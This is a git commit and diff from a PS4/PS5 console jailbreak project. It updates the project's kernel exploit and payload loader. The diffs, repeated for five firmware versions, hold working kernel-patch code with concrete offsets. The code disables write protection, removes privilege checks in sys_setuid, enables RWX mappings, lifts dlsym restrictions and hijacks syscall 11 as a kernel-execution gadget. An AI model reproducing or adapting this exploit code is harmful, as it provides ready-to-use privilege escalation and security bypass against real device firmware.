Push updates...

1. Cleanup/Linting/Tweaks/Fixes/etc
  - Default Prettier config w/ 999 line length
  - Default eslint config "problems" list trimmed down
2. Fixed corrupt pointer cleanup by abc
3. Fixed `ip6po_rthdr` offset for PS5 by abc
4. Verified the number of blocking requests needed to be two by abc
5. Only run kernel exploit once by checking setuid by @JTAG7371
6. Kernel patches from pOOBs4 by @ChendoChap (Ported for 8.00-9.60)
7. Payload loader from pOOBs4 by @ChendoChap
8. Restore syscall 661 (`sys_aio_submit()`) after patching by @janisslsm
9. Add `PROT_READ`, `PROT_WRITE`, `PROT_EXEC` constants for payload loader by @janisslsm

The ONLY things that should need changes are the `/rop/ps4/*.mjs` files (850, 900, and 950).
Firmware 8.00 appears to be stable/have a good success rate now.
This commit is contained in:
Al Azif
2025-06-01 03:46:23 -07:00
parent 23d3e70647
commit 3ab19c3a0b
29 changed files with 4082 additions and 4105 deletions

View File

@@ -60,8 +60,20 @@ void do_patch(void) {
disable_cr0_wp();
// patch amd64_syscall() to allow calling syscalls everywhere
// ChendoChap's patches from pOOBs4 ///////////////////////////////////////
// Initial patches
write16(kbase, 0x62d254, 0x9090); // veriPatch
write8(kbase, 0xacd, 0xeb); // bcopy
write8(kbase, 0x25e10d, 0xeb); // bzero
write8(kbase, 0x25e151, 0xeb); // pagezero
write8(kbase, 0x25e1cd, 0xeb); // memcpy
write8(kbase, 0x25e211, 0xeb); // pagecopy
write8(kbase, 0x25e3bd, 0xeb); // copyin
write8(kbase, 0x25e86d, 0xeb); // copyinstr
write8(kbase, 0x25e93d, 0xeb); // copystr
// patch amd64_syscall() to allow calling syscalls everywhere
// struct syscall_args sa; // initialized already
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
// int is_invalid_syscall = 0
@@ -95,19 +107,16 @@ void do_patch(void) {
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
//
// sy_call() is the function that will execute the requested syscall.
write16(kbase, 0x4b5, 0x9090);
write16(kbase, 0x4b9, 0x9090);
write8(kbase, 0x4c2, 0xeb);
write16(kbase, 0x4b9, 0x9090);
write16(kbase, 0x4b5, 0x9090);
// patch sys_mmap() to allow rwx mappings
// patch maximum cpu mem protection: 0x33 -> 0x37
// the ps4 added custom protections for their gpu memory accesses
// GPU X: 0x8 R: 0x10 W: 0x20
// that's why you see other bits set
// ref: https://cturt.github.io/ps4-2.html
write8(kbase, 0xfd03a, 0x37);
write8(kbase, 0xfd03d, 0x37);
// patch sys_setuid() to allow freely changing the effective user ID
// ; PRIV_CRED_SETUID = 50
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
// test eax, eax
// je ... ; patch je to jmp
write8(kbase, 0x34d696, 0xeb);
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
//
@@ -119,8 +128,10 @@ void do_patch(void) {
// }
write32(kbase, 0x3ec68d, 0);
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
// TODO: Description of this patch. "prx"
write16(kbase, 0x318d84, 0xe990);
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
// call ...
// mov r14, qword [rbp - 0xad0]
// cmp eax, 0x4000000
@@ -142,13 +153,14 @@ void do_patch(void) {
// ...
write32(kbase, 0x951c0, 0xc3c03148);
// patch sys_setuid() to allow freely changing the effective user ID
// ; PRIV_CRED_SETUID = 50
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
// test eax, eax
// je ... ; patch je to jmp
write8(kbase, 0x34d696, 0xeb);
// patch sys_mmap() to allow rwx mappings
// patch maximum cpu mem protection: 0x33 -> 0x37
// the ps4 added custom protections for their gpu memory accesses
// GPU X: 0x8 R: 0x10 W: 0x20
// that's why you see other bits set
// ref: https://cturt.github.io/ps4-2.html
write8(kbase, 0xfd03a, 0x37);
write8(kbase, 0xfd03d, 0x37);
// overwrite the entry of syscall 11 (unimplemented) in sysent
//
@@ -164,15 +176,12 @@ void do_patch(void) {
// int sys_kexec(struct thread td, struct args *uap) {
// asm("jmp qword ptr [rsi]");
// }
// sysent[11]
const size_t offset_sysent_11 = 0x10fc6e0;
// .sy_narg = 6
write32(kbase, offset_sysent_11, 6);
// .sy_narg = 2
write32(kbase, 0x10fc6e0, 2);
// .sy_call = gadgets['jmp qword ptr [rsi]']
write64(kbase, offset_sysent_11 + 8, kbase + 0xe629c);
write64(kbase, 0x10fc6e0 + 8, kbase + 0xe629c);
// .sy_thrcnt = SY_THR_STATIC
write32(kbase, offset_sysent_11 + 0x2c, 1);
write32(kbase, 0x10fc6e0 + 0x2c, 1);
enable_cr0_wp();
}

View File

@@ -60,8 +60,20 @@ void do_patch(void) {
disable_cr0_wp();
// patch amd64_syscall() to allow calling syscalls everywhere
// ChendoChap's patches from pOOBs4 ///////////////////////////////////////
// Initial patches
write16(kbase, 0x624674, 0x9090); // veriPatch
write8(kbase, 0xacd, 0xeb); // bcopy
write8(kbase, 0x3a403d, 0xeb); // bzero
write8(kbase, 0x3a4081, 0xeb); // pagezero
write8(kbase, 0x3a40fd, 0xeb); // memcpy
write8(kbase, 0x3a4141, 0xeb); // pagecopy
write8(kbase, 0x3a42ed, 0xeb); // copyin
write8(kbase, 0x3a479d, 0xeb); // copyinstr
write8(kbase, 0x3a486d, 0xeb); // copystr
// patch amd64_syscall() to allow calling syscalls everywhere
// struct syscall_args sa; // initialized already
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
// int is_invalid_syscall = 0
@@ -95,19 +107,16 @@ void do_patch(void) {
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
//
// sy_call() is the function that will execute the requested syscall.
write16(kbase, 0x4b5, 0x9090);
write16(kbase, 0x4b9, 0x9090);
write8(kbase, 0x4c2, 0xeb);
write16(kbase, 0x4b9, 0x9090);
write16(kbase, 0x4b5, 0x9090);
// patch sys_mmap() to allow rwx mappings
// patch maximum cpu mem protection: 0x33 -> 0x37
// the ps4 added custom protections for their gpu memory accesses
// GPU X: 0x8 R: 0x10 W: 0x20
// that's why you see other bits set
// ref: https://cturt.github.io/ps4-2.html
write8(kbase, 0x826ea, 0x37);
write8(kbase, 0x826ed, 0x37);
// patch sys_setuid() to allow freely changing the effective user ID
// ; PRIV_CRED_SETUID = 50
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
// test eax, eax
// je ... ; patch je to jmp
write8(kbase, 0x22f3d6, 0xeb);
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
//
@@ -119,8 +128,10 @@ void do_patch(void) {
// }
write32(kbase, 0x14d6dd, 0);
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
// TODO: Description of this patch. "prx"
write16(kbase, 0x17474, 0xe990);
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
// call ...
// mov r14, qword [rbp - 0xad0]
// cmp eax, 0x4000000
@@ -142,13 +153,14 @@ void do_patch(void) {
// ...
write32(kbase, 0x3ad040, 0xc3c03148);
// patch sys_setuid() to allow freely changing the effective user ID
// ; PRIV_CRED_SETUID = 50
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
// test eax, eax
// je ... ; patch je to jmp
write8(kbase, 0x22f3d6, 0xeb);
// patch sys_mmap() to allow rwx mappings
// patch maximum cpu mem protection: 0x33 -> 0x37
// the ps4 added custom protections for their gpu memory accesses
// GPU X: 0x8 R: 0x10 W: 0x20
// that's why you see other bits set
// ref: https://cturt.github.io/ps4-2.html
write8(kbase, 0x826ea, 0x37);
write8(kbase, 0x826ed, 0x37);
// overwrite the entry of syscall 11 (unimplemented) in sysent
//
@@ -164,15 +176,12 @@ void do_patch(void) {
// int sys_kexec(struct thread td, struct args *uap) {
// asm("jmp qword ptr [rsi]");
// }
// sysent[11]
const size_t offset_sysent_11 = 0x10fc7d0;
// .sy_narg = 6
write32(kbase, offset_sysent_11, 6);
// .sy_narg = 2
write32(kbase, 0x10fc7d0, 2);
// .sy_call = gadgets['jmp qword ptr [rsi]']
write64(kbase, offset_sysent_11 + 8, kbase + 0xc810d);
write64(kbase, 0x10fc7d0 + 8, kbase + 0xc810d);
// .sy_thrcnt = SY_THR_STATIC
write32(kbase, offset_sysent_11 + 0x2c, 1);
write32(kbase, 0x10fc7d0 + 0x2c, 1);
enable_cr0_wp();
}

View File

@@ -60,8 +60,20 @@ void do_patch(void) {
disable_cr0_wp();
// patch amd64_syscall() to allow calling syscalls everywhere
// ChendoChap's patches from pOOBs4 ///////////////////////////////////////
// Initial patches
write16(kbase, 0x626874, 0x9090); // veriPatch
write8(kbase, 0xacd, 0xeb); // bcopy
write8(kbase, 0x2713fd, 0xeb); // bzero
write8(kbase, 0x271441, 0xeb); // pagezero
write8(kbase, 0x2714bd, 0xeb); // memcpy
write8(kbase, 0x271501, 0xeb); // pagecopy
write8(kbase, 0x2716ad, 0xeb); // copyin
write8(kbase, 0x271b5d, 0xeb); // copyinstr
write8(kbase, 0x271c2d, 0xeb); // copystr
// patch amd64_syscall() to allow calling syscalls everywhere
// struct syscall_args sa; // initialized already
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
// int is_invalid_syscall = 0
@@ -95,19 +107,16 @@ void do_patch(void) {
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
//
// sy_call() is the function that will execute the requested syscall.
write16(kbase, 0x4b5, 0x9090);
write16(kbase, 0x4b9, 0x9090);
write8(kbase, 0x4c2, 0xeb);
write16(kbase, 0x4b9, 0x9090);
write16(kbase, 0x4b5, 0x9090);
// patch sys_mmap() to allow rwx mappings
// patch maximum cpu mem protection: 0x33 -> 0x37
// the ps4 added custom protections for their gpu memory accesses
// GPU X: 0x8 R: 0x10 W: 0x20
// that's why you see other bits set
// ref: https://cturt.github.io/ps4-2.html
write8(kbase, 0x16632a, 0x37);
write8(kbase, 0x16632d, 0x37);
// patch sys_setuid() to allow freely changing the effective user ID
// ; PRIV_CRED_SETUID = 50
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
// test eax, eax
// je ... ; patch je to jmp
write8(kbase, 0x1a06, 0xeb);
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
//
@@ -119,8 +128,10 @@ void do_patch(void) {
// }
write32(kbase, 0x80b8d, 0);
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
// TODO: Description of this patch. "prx"
write16(kbase, 0x23aec4, 0xe990);
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
// call ...
// mov r14, qword [rbp - 0xad0]
// cmp eax, 0x4000000
@@ -142,13 +153,14 @@ void do_patch(void) {
// ...
write32(kbase, 0x221b40, 0xc3c03148);
// patch sys_setuid() to allow freely changing the effective user ID
// ; PRIV_CRED_SETUID = 50
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
// test eax, eax
// je ... ; patch je to jmp
write8(kbase, 0x1a06, 0xeb);
// patch sys_mmap() to allow rwx mappings
// patch maximum cpu mem protection: 0x33 -> 0x37
// the ps4 added custom protections for their gpu memory accesses
// GPU X: 0x8 R: 0x10 W: 0x20
// that's why you see other bits set
// ref: https://cturt.github.io/ps4-2.html
write8(kbase, 0x16632a, 0x37);
write8(kbase, 0x16632d, 0x37);
// overwrite the entry of syscall 11 (unimplemented) in sysent
//
@@ -164,15 +176,12 @@ void do_patch(void) {
// int sys_kexec(struct thread td, struct args *uap) {
// asm("jmp qword ptr [rsi]");
// }
// sysent[11]
const size_t offset_sysent_11 = 0x1100520;
// .sy_narg = 6
write32(kbase, offset_sysent_11, 6);
// .sy_narg = 2
write32(kbase, 0x1100520, 2);
// .sy_call = gadgets['jmp qword ptr [rsi]']
write64(kbase, offset_sysent_11 + 8, kbase + 0x4c7ad);
write64(kbase, 0x1100520 + 8, kbase + 0x4c7ad);
// .sy_thrcnt = SY_THR_STATIC
write32(kbase, offset_sysent_11 + 0x2c, 1);
write32(kbase, 0x1100520 + 0x2c, 1);
enable_cr0_wp();
}

View File

@@ -60,8 +60,20 @@ void do_patch(void) {
disable_cr0_wp();
// patch amd64_syscall() to allow calling syscalls everywhere
// ChendoChap's patches from pOOBs4 ///////////////////////////////////////
// Initial patches
write16(kbase, 0x624834, 0x9090); // veriPatch
write8(kbase, 0xacd, 0xeb); // bcopy
write8(kbase, 0x27107d, 0xeb); // bzero
write8(kbase, 0x2710c1, 0xeb); // pagezero
write8(kbase, 0x27113d, 0xeb); // memcpy
write8(kbase, 0x271181, 0xeb); // pagecopy
write8(kbase, 0x27132d, 0xeb); // copyin
write8(kbase, 0x2717dd, 0xeb); // copyinstr
write8(kbase, 0x2718ad, 0xeb); // copystr
// patch amd64_syscall() to allow calling syscalls everywhere
// struct syscall_args sa; // initialized already
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
// int is_invalid_syscall = 0
@@ -95,19 +107,16 @@ void do_patch(void) {
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
//
// sy_call() is the function that will execute the requested syscall.
write16(kbase, 0x4b5, 0x9090);
write16(kbase, 0x4b9, 0x9090);
write8(kbase, 0x4c2, 0xeb);
write16(kbase, 0x4b9, 0x9090);
write16(kbase, 0x4b5, 0x9090);
// patch sys_mmap() to allow rwx mappings
// patch maximum cpu mem protection: 0x33 -> 0x37
// the ps4 added custom protections for their gpu memory accesses
// GPU X: 0x8 R: 0x10 W: 0x20
// that's why you see other bits set
// ref: https://cturt.github.io/ps4-2.html
write8(kbase, 0x1662da, 0x37);
write8(kbase, 0x1662dd, 0x37);
// patch sys_setuid() to allow freely changing the effective user ID
// ; PRIV_CRED_SETUID = 50
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
// test eax, eax
// je ... ; patch je to jmp
write8(kbase, 0x1a06, 0xeb);
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
//
@@ -119,8 +128,10 @@ void do_patch(void) {
// }
write32(kbase, 0x80b8d, 0);
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
// TODO: Description of this patch. "prx"
write16(kbase, 0x23ab94, 0xe990);
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
// call ...
// mov r14, qword [rbp - 0xad0]
// cmp eax, 0x4000000
@@ -142,13 +153,14 @@ void do_patch(void) {
// ...
write32(kbase, 0x221810, 0xc3c03148);
// patch sys_setuid() to allow freely changing the effective user ID
// ; PRIV_CRED_SETUID = 50
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
// test eax, eax
// je ... ; patch je to jmp
write8(kbase, 0x1a06, 0xeb);
// patch sys_mmap() to allow rwx mappings
// patch maximum cpu mem protection: 0x33 -> 0x37
// the ps4 added custom protections for their gpu memory accesses
// GPU X: 0x8 R: 0x10 W: 0x20
// that's why you see other bits set
// ref: https://cturt.github.io/ps4-2.html
write8(kbase, 0x1662da, 0x37);
write8(kbase, 0x1662dd, 0x37);
// overwrite the entry of syscall 11 (unimplemented) in sysent
//
@@ -164,15 +176,12 @@ void do_patch(void) {
// int sys_kexec(struct thread td, struct args *uap) {
// asm("jmp qword ptr [rsi]");
// }
// sysent[11]
const size_t offset_sysent_11 = 0x10fc520;
// .sy_narg = 6
write32(kbase, offset_sysent_11, 6);
// .sy_narg = 2
write32(kbase, 0x10fc520, 2);
// .sy_call = gadgets['jmp qword ptr [rsi]']
write64(kbase, offset_sysent_11 + 8, kbase + 0x5325b);
write64(kbase, 0x10fc520 + 8, kbase + 0x5325b);
// .sy_thrcnt = SY_THR_STATIC
write32(kbase, offset_sysent_11 + 0x2c, 1);
write32(kbase, 0x10fc520 + 0x2c, 1);
enable_cr0_wp();
}

View File

@@ -60,8 +60,20 @@ void do_patch(void) {
disable_cr0_wp();
// patch amd64_syscall() to allow calling syscalls everywhere
// ChendoChap's patches from pOOBs4 ///////////////////////////////////////
// Initial patches
write16(kbase, 0x624ae4, 0x9090); // veriPatch
write8(kbase, 0xacd, 0xeb); // bcopy
write8(kbase, 0x201c0d, 0xeb); // bzero
write8(kbase, 0x201c51, 0xeb); // pagezero
write8(kbase, 0x201ccd, 0xeb); // memcpy
write8(kbase, 0x201d11, 0xeb); // pagecopy
write8(kbase, 0x201ebd, 0xeb); // copyin
write8(kbase, 0x20236d, 0xeb); // copyinstr
write8(kbase, 0x20243d, 0xeb); // copystr
// patch amd64_syscall() to allow calling syscalls everywhere
// struct syscall_args sa; // initialized already
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
// int is_invalid_syscall = 0
@@ -95,19 +107,16 @@ void do_patch(void) {
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
//
// sy_call() is the function that will execute the requested syscall.
write16(kbase, 0x4b5, 0x9090);
write16(kbase, 0x4b9, 0x9090);
write8(kbase, 0x4c2, 0xeb);
write16(kbase, 0x4b9, 0x9090);
write16(kbase, 0x4b5, 0x9090);
// patch sys_mmap() to allow rwx mappings
// patch maximum cpu mem protection: 0x33 -> 0x37
// the ps4 added custom protections for their gpu memory accesses
// GPU X: 0x8 R: 0x10 W: 0x20
// that's why you see other bits set
// ref: https://cturt.github.io/ps4-2.html
write8(kbase, 0x122d7a, 0x37);
write8(kbase, 0x122d7d, 0x37);
// patch sys_setuid() to allow freely changing the effective user ID
// ; PRIV_CRED_SETUID = 50
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
// test eax, eax
// je ... ; patch je to jmp
write8(kbase, 0x1fa536, 0xeb);
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
//
@@ -119,8 +128,10 @@ void do_patch(void) {
// }
write32(kbase, 0x196d3d, 0);
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
// TODO: Description of this patch. "prx"
write16(kbase, 0x19f724, 0xe990);
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
// call ...
// mov r14, qword [rbp - 0xad0]
// cmp eax, 0x4000000
@@ -142,13 +153,14 @@ void do_patch(void) {
// ...
write32(kbase, 0x11960, 0xc3c03148);
// patch sys_setuid() to allow freely changing the effective user ID
// ; PRIV_CRED_SETUID = 50
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
// test eax, eax
// je ... ; patch je to jmp
write8(kbase, 0x1fa536, 0xeb);
// patch sys_mmap() to allow rwx mappings
// patch maximum cpu mem protection: 0x33 -> 0x37
// the ps4 added custom protections for their gpu memory accesses
// GPU X: 0x8 R: 0x10 W: 0x20
// that's why you see other bits set
// ref: https://cturt.github.io/ps4-2.html
write8(kbase, 0x122d7a, 0x37);
write8(kbase, 0x122d7d, 0x37);
// overwrite the entry of syscall 11 (unimplemented) in sysent
//
@@ -164,15 +176,12 @@ void do_patch(void) {
// int sys_kexec(struct thread td, struct args *uap) {
// asm("jmp qword ptr [rsi]");
// }
// sysent[11]
const size_t offset_sysent_11 = 0x10f9500;
// .sy_narg = 6
write32(kbase, offset_sysent_11, 6);
// .sy_narg = 2
write32(kbase, 0x10f9500, 2);
// .sy_call = gadgets['jmp qword ptr [rsi]']
write64(kbase, offset_sysent_11 + 8, kbase + 0x15a6d);
write64(kbase, 0x10f9500 + 8, kbase + 0x15a6d);
// .sy_thrcnt = SY_THR_STATIC
write32(kbase, offset_sysent_11 + 0x2c, 1);
write32(kbase, 0x10f9500 + 0x2c, 1);
enable_cr0_wp();
}